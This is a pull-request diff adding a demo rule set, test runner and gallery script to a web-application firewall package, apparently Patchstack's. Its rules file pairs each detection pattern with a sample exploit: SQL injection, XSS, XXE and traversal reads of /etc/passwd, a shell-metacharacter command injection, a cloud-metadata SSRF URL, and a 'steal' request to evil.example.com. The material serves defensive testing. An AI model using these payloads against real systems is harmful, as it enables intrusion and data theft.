Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions .npmignore
Original file line number Diff line number Diff line change
Expand Up @@ -6,3 +6,8 @@ tsup.config.ts
.github
coverage
*.tsbuildinfo
# examples/ installs a REAL vulnerable dependency (lodash@4.17.11) for the demo — it must
# never ship to consumers. The package.json "files" allowlist already excludes it; these are
# a belt-and-suspenders backstop in case that allowlist is ever loosened. (tests/pack-safety
# enforces the invariant.)
examples
57 changes: 57 additions & 0 deletions examples/protect/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,63 @@ Expected: all six steps ✓.
…and prints the proof line: *"CVE-2019-10744 in lodash@4.17.11 is blocked here, right now,
by rule `demo-CVE-2019-10744` — until you upgrade to 4.17.12. No app redeploy required."*

## Vulnerability gallery (demo-env showcase)

For demonstrating **many** vulnerability classes at once (not one deep CVE proof), there's a
comprehensive demo rule set and a gallery runner — no vulnerable dependency required, so it runs
anywhere with zero install:

```bash
node gallery.mjs # or: npm run gallery
```

It loads [`demo-rules.json`](./demo-rules.json) and shows, one row per rule, that the exploit is
blocked/redacted while a benign request to the same surface is allowed — across all three phases:

- **request (WAF)** — prototype pollution, path traversal, SQLi, XSS, command injection, NoSQL
injection, XXE, request-side SSRF
- **response (leak)** — PII redaction (email, credit-card number) on top of the built-in secret
redaction (private keys, AWS/GCP keys, JWTs, DB URLs, stack traces)
- **egress (SSRF)** — outbound request to a blocklisted exfiltration host

Each rule carries an `_demo` block (exploit + benign vector). The same bundle is asserted in CI by
`tests/protect/demo-rules.test.ts` (every rule must block its exploit and pass its benign) and the
whole `examples/` folder is kept out of the published npm package (`tests/pack-safety.test.ts`), so
the vulnerable `lodash` the deep demo installs never reaches consumers.

## Loading the demo rules on a real Lovable app

`patchstack-connect protect` scaffolds the runtime guard into a TanStack Start + Supabase app and
drops `src/integrations/patchstack/{guard.ts, rules.json}`. That scaffolded `rules.json` is the
**token-less fallback** the guard loads — so it's the insertion point for a demo. Seed it with this
bundle:

```bash
# in the Lovable app
npx patchstack-connect protect # scaffold + wire the guard
cp <this-repo>/examples/protect/demo-rules.json \
src/integrations/patchstack/rules.json # swap the fallback for the demo set
# leave PATCHSTACK_WAF_TOKEN UNSET so the guard uses the local rules (not the live API)
```

`demo-rules.json` is a drop-in `rules.json` — same `{ firewall, whitelists, whitelist_keys }`
shape; `createProtection` splits the phase-tagged rules and ignores the `_demo` blocks. The guard
blocks by default (`PATCHSTACK_MODE=dry-run` for log-only).

**What fires where** (the guard hooks the *data path*, not arbitrary routes):

- ✅ **prototype pollution / SQLi / XSS / NoSQL injection** in a record you write (e.g. a task
title) — caught via the Supabase tunnel + server-function arg inspection.
- ✅ **response PII / secret redaction** — masked in Supabase query results the guard forwards.
- ✅ **egress SSRF** — the scaffolded `guard.ts` enables `egress: true`, so the app's outbound
calls to internal / cloud-metadata addresses are blocked (its own Supabase project is allowed).
- ⚠️ **path traversal / command injection / request-side SSRF** target `get.file` / `get.host` /
`get.url`; they only fire if the app actually has such a route + parameter.

For a live tasks-app demo, the reliable rows are the write-path ones (insert a task whose title is
`<script>…</script>` → blocked) and the response redaction (store/return a value containing an
email or card number → masked). The full matrix is best shown offline via `gallery.mjs`.

## Note on rules

`rules.demo.json` holds **example rules for public CVEs only** — it is **not** the
Expand Down
162 changes: 162 additions & 0 deletions examples/protect/demo-rules.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,162 @@
{
"_comment": "COMPREHENSIVE DEMO / TEST rule set for @patchstack/connect/protect — NOT the Patchstack production corpus. Generic, public signatures spanning all three phases (request WAF / response leak / egress SSRF), each carrying an `_demo` block { desc, exploit, benign } used by gallery.mjs (live demonstration) and tests/protect/demo-rules.test.ts (every rule is proven to block its exploit and pass its benign). Load with createProtection({ rules: <this bundle> }); phase-tagged response/egress rules ADD to the built-in defaults. In production the per-site, version-scoped ruleset comes from the Patchstack API via createProtection({ token }).",
"firewall": [
{
"id": "demo-prototype-pollution",
"title": "Prototype pollution in request body",
"category": "prototype-pollution",
"rule_v2": [
{ "parameter": "raw", "mutations": ["urldecode"], "match": { "type": "contains", "value": "__proto__" } },
{
"parameter": "rules",
"rules": [
{ "parameter": "raw", "mutations": ["urldecode"], "match": { "type": "contains", "value": "constructor" }, "inclusive": true },
{ "parameter": "raw", "mutations": ["urldecode"], "match": { "type": "contains", "value": "prototype" }, "inclusive": true }
]
}
],
"_demo": {
"desc": "Deep-merge sink pollutes Object.prototype via a crafted body",
"exploit": { "method": "POST", "body": "{\"constructor\":{\"prototype\":{\"polluted\":\"yes\"}}}" },
"benign": { "method": "POST", "body": "{\"theme\":\"dark\"}" }
}
},
{
"id": "demo-path-traversal",
"title": "Path traversal in a file/path parameter",
"category": "lfi",
"rule_v2": [
{ "parameter": ["get.file", "post.file", "raw.file", "get.path", "post.path"], "mutations": ["urldecode"], "match": { "type": "contains", "value": ".." } }
],
"_demo": {
"desc": "../ sequence in a file parameter escapes the intended directory",
"exploit": { "method": "GET", "path": "/download?file=../../etc/passwd" },
"benign": { "method": "GET", "path": "/download?file=report.pdf" }
}
},
{
"id": "demo-sqli",
"title": "SQL injection in a query parameter",
"category": "sqli",
"rule_v2": [
{ "parameter": ["get.q", "post.q", "get.id", "post.id", "raw"], "mutations": ["urldecode"], "match": { "type": "regex", "value": "/union\\s+select|;\\s*drop\\s+table|\\bor\\s+1\\s*=\\s*1\\b/i" } }
],
"_demo": {
"desc": "UNION SELECT injected into a search parameter",
"exploit": { "method": "POST", "body": "{\"q\":\"1 UNION SELECT password FROM users\"}" },
"benign": { "method": "POST", "body": "{\"q\":\"union station cafe\"}" }
}
},
{
"id": "demo-xss",
"title": "Reflected/stored XSS in a text field",
"category": "xss",
"rule_v2": [
{ "parameter": ["get.q", "post.comment", "post.title", "raw"], "mutations": ["urldecode", "htmlentitydecode"], "match": { "type": "regex", "value": "/<script\\b|onerror\\s*=|javascript:/i" } }
],
"_demo": {
"desc": "<script> tag submitted in a comment field",
"exploit": { "method": "POST", "body": "{\"comment\":\"<script>alert(1)</script>\"}" },
"benign": { "method": "POST", "body": "{\"comment\":\"great write-up, thanks\"}" }
}
},
{
"id": "demo-command-injection",
"title": "OS command injection in a host/cmd parameter",
"category": "command-injection",
"rule_v2": [
{ "parameter": ["get.host", "post.host", "get.cmd", "post.cmd"], "mutations": ["urldecode"], "match": { "type": "regex", "value": "/[;&|`$()<>]/" } }
],
"_demo": {
"desc": "Shell metacharacters appended to a ping host parameter",
"exploit": { "method": "POST", "body": "{\"host\":\"127.0.0.1; cat /etc/passwd\"}" },
"benign": { "method": "POST", "body": "{\"host\":\"127.0.0.1\"}" }
}
},
{
"id": "demo-nosql-injection",
"title": "NoSQL operator injection in request body",
"category": "nosqli",
"rule_v2": [
{ "parameter": "raw", "match": { "type": "regex", "value": "/\"\\$(?:ne|gt|lt|gte|lte|where|regex|in|nin)\"\\s*:/i" } }
],
"_demo": {
"desc": "Mongo operator ($ne) injected to bypass an equality check",
"exploit": { "method": "POST", "body": "{\"user\":{\"$ne\":null}}" },
"benign": { "method": "POST", "body": "{\"user\":\"alice\"}" }
}
},
{
"id": "demo-xxe",
"title": "XML external entity (XXE) in request body",
"category": "xxe",
"rule_v2": [
{ "parameter": "raw", "match": { "type": "regex", "value": "/<!ENTITY|<!DOCTYPE[^>]*SYSTEM/i" } }
],
"_demo": {
"desc": "External DOCTYPE/ENTITY referencing a local file",
"exploit": { "method": "POST", "body": "<?xml version=\"1.0\"?><!DOCTYPE foo SYSTEM \"file:///etc/passwd\"><foo/>" },
"benign": { "method": "POST", "body": "<?xml version=\"1.0\"?><note>hi</note>" }
}
},
{
"id": "demo-ssrf-request",
"title": "SSRF via a url parameter (request-side)",
"category": "ssrf",
"rule_v2": [
{ "parameter": ["get.url", "post.url", "raw.url"], "mutations": ["urldecode"], "match": { "type": "regex", "value": "/localhost|127\\.0\\.0\\.1|169\\.254\\.169\\.254|::1|metadata\\.google/i" } }
],
"_demo": {
"desc": "url parameter points at the cloud metadata endpoint",
"exploit": { "method": "POST", "body": "{\"url\":\"http://169.254.169.254/latest/meta-data/\"}" },
"benign": { "method": "POST", "body": "{\"url\":\"https://example.com/logo.png\"}" }
}
},
{
"id": "demo-resp-pii-email",
"title": "Email address leaking in response body",
"phase": "response",
"category": "pii-exposure",
"action": "redact",
"rule_v2": [
{ "parameter": "response.body", "match": { "type": "regex", "value": "/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,}/" } }
],
"_demo": {
"desc": "An endpoint returns a user's email; the address is masked",
"exploit": { "body": "{\"contact\":\"alice@example.com\"}" },
"benign": { "body": "{\"contact\":\"see profile page\"}" }
}
},
{
"id": "demo-resp-credit-card",
"title": "Credit-card number leaking in response body",
"phase": "response",
"category": "pii-exposure",
"action": "redact",
"rule_v2": [
{ "parameter": "response.body", "match": { "type": "regex", "value": "/(?:\\d[ -]?){13,16}/" } }
],
"_demo": {
"desc": "A 16-digit card number in the payload is masked",
"exploit": { "body": "{\"card\":\"4111 1111 1111 1111\"}" },
"benign": { "body": "{\"orderId\":\"12345\"}" }
}
},
{
"id": "demo-egress-blocklist-host",
"title": "Outbound request to a known exfiltration host",
"phase": "egress",
"category": "exfiltration",
"rule_v2": [
{ "parameter": "egress.host", "match": { "type": "equals", "value": "evil.example.com" } }
],
"_demo": {
"desc": "The app tries to POST data to a blocklisted host",
"exploit": { "url": "https://evil.example.com/steal?data=1" },
"benign": { "url": "https://api.github.com/repos" }
}
}
],
"whitelists": [],
"whitelist_keys": {}
}
86 changes: 86 additions & 0 deletions examples/protect/demo-runner.mjs
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
// Shared demo-bundle runner used by BOTH gallery.mjs (live demonstration) and
// tests/protect/demo-rules.test.ts (regression). Given a demo bundle (rules carrying an
// `_demo` block), it drives one exploit + one benign probe per rule through the appropriate
// phase and reports whether each rule blocked/redacted the exploit and passed the benign.
//
// Keeping the dispatch here means the gallery and the test can never drift from each other.

const ORIGIN = 'https://demo.app';

function requestFrom(vec) {
const url = ORIGIN + (vec.path ?? '/');
const method = vec.method ?? 'GET';
const init = { method };
if (vec.body != null && method !== 'GET' && method !== 'HEAD') {
init.headers = { 'content-type': 'application/json' };
init.body = vec.body;
}
return new Request(url, init);
}

/**
* @param {object} bundle a demo rule bundle ({ firewall: [...] } with `_demo` on each rule)
* @param {(opts:object)=>Promise<object>} createProtection
* @returns {Promise<Array<{id,phase,category,title,desc,exploitCaught,benignOk,pass}>>}
*/
export async function runDemoBundle(bundle, createProtection) {
// Stub the network BEFORE the egress guard wraps it, so "allowed" egress never hits the wire.
const origFetch = globalThis.fetch;
globalThis.fetch = async () => new Response('stubbed-upstream', { status: 200 });

const protection = await createProtection({ rules: bundle, mode: 'block', egress: true, allowHosts: [] });
const guard = protection.fetchGuard();
const results = [];

const egressBlocked = async (url) => {
try {
await globalThis.fetch(url);
return false;
} catch {
return true;
}
};
const responseRedacted = async (body) => {
const res = await protection.screenResponse(
new Response(body, { status: 200, headers: { 'content-type': 'application/json' } }),
);
const out = await res.text();
return out !== body; // redact masks the offending span → body changes
};

try {
for (const rule of bundle.firewall) {
const d = rule._demo;
if (!d) continue;
const phase = rule.phase ?? 'request';
let exploitCaught = false;
let benignOk = false;

if (phase === 'request') {
exploitCaught = (await guard(requestFrom(d.exploit))) !== null;
benignOk = (await guard(requestFrom(d.benign))) === null;
} else if (phase === 'response') {
exploitCaught = await responseRedacted(d.exploit.body);
benignOk = !(await responseRedacted(d.benign.body));
} else if (phase === 'egress') {
exploitCaught = await egressBlocked(d.exploit.url);
benignOk = !(await egressBlocked(d.benign.url));
}

results.push({
id: rule.id,
phase,
category: rule.category,
title: rule.title,
desc: d.desc,
exploitCaught,
benignOk,
pass: exploitCaught && benignOk,
});
}
} finally {
protection.uninstallEgress?.();
globalThis.fetch = origFetch;
}
return results;
}
35 changes: 35 additions & 0 deletions examples/protect/gallery.mjs
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
// Vulnerability GALLERY for @patchstack/connect/protect — a demo-env showcase.
//
// Loads the comprehensive demo rule set and demonstrates, one row per rule, that the exploit is
// blocked/redacted while a benign request to the same surface is allowed — across all three
// phases (request WAF / response leak / egress SSRF). Public/demo rules only; no tokens/secrets.
//
// cd examples/protect && node gallery.mjs
import { readFileSync } from 'node:fs';
import { createProtection } from '../../src/protect/runtime.js';
import { runDemoBundle } from './demo-runner.mjs';

const bundle = JSON.parse(readFileSync(new URL('./demo-rules.json', import.meta.url), 'utf8'));
const results = await runDemoBundle(bundle, createProtection);

const PHASE_LABEL = { request: 'request (WAF)', response: 'response (leak)', egress: 'egress (SSRF)' };
const pad = (s, n) => String(s).padEnd(n);

console.log('\n Patchstack protect — vulnerability gallery (block mode)\n');
let lastPhase = null;
for (const r of results) {
if (r.phase !== lastPhase) {
console.log(`\n ── ${PHASE_LABEL[r.phase] ?? r.phase} ──`);
lastPhase = r.phase;
}
const verb = r.phase === 'response' ? 'redacted' : 'blocked';
const mark = r.pass ? '✓' : '✗';
console.log(` ${mark} ${pad(r.category, 20)} exploit ${r.exploitCaught ? verb : 'MISSED'} · benign ${r.benignOk ? 'allowed' : 'FALSE-POSITIVE'}`);
console.log(` ${pad('', 20)} ${r.desc}`);
}

const passed = results.filter((r) => r.pass).length;
const ok = passed === results.length;
console.log(`\n ${passed}/${results.length} demonstrations passed across ${new Set(results.map((r) => r.phase)).size} phases.`);
console.log(ok ? '\n✓ gallery complete\n' : '\n✗ some demonstrations failed\n');
process.exit(ok ? 0 : 1);
3 changes: 2 additions & 1 deletion examples/protect/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@
"lodash": "4.17.11"
},
"scripts": {
"demo": "node demo.mjs"
"demo": "node demo.mjs",
"gallery": "node gallery.mjs"
}
}
Loading
Loading